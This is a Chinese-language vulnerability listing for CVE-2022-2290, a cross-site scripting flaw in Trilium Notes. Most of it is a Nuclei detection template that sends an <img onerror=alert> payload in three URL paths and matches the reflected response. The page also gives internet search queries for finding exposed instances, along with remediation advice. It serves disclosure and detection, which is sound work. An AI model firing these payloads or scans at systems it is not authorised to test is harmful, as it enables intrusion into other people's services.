CVE-2022-2290: Trilium <0.52.4 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Trilium | POC: 已公开

漏洞描述

Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

PoC代码[已公开]

id: CVE-2022-2290

info:
  name: Trilium <0.52.4 - Cross-Site Scripting
  author: dbrwsky
  severity: medium
  description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
  remediation: |
    Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
    - https://github.com/zadam/trilium
    - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2290
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2290
    cwe-id: CWE-79
    epss-score: 0.074
    epss-percentile: 0.91375
    cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: trilium_project
    product: trilium
    shodan-query:
      - title:"Trilium Notes"
      - http.title:"trilium notes"
    fofa-query: title="trilium notes"
    google-query: intitle:"trilium notes"
  tags: cve,cve2022,xss,trilium,huntr,trilium_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "No handler matched for custom <img src=x onerror=alert(document.domain)>"
          - "Note '<img src=x onerror=alert(document.domain)>' not found"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 404
# digest: 480a00453043021f0391a89812a5b86bed76b7d774cb0039ec723227957c1b204ea3a1a37749b9022003b53fe731b3896c8d7b51eda4f7367112e6714a66c1aa6d5de302aa403e5533:922c64590222798bb761d5b6d8e72950

相关漏洞推荐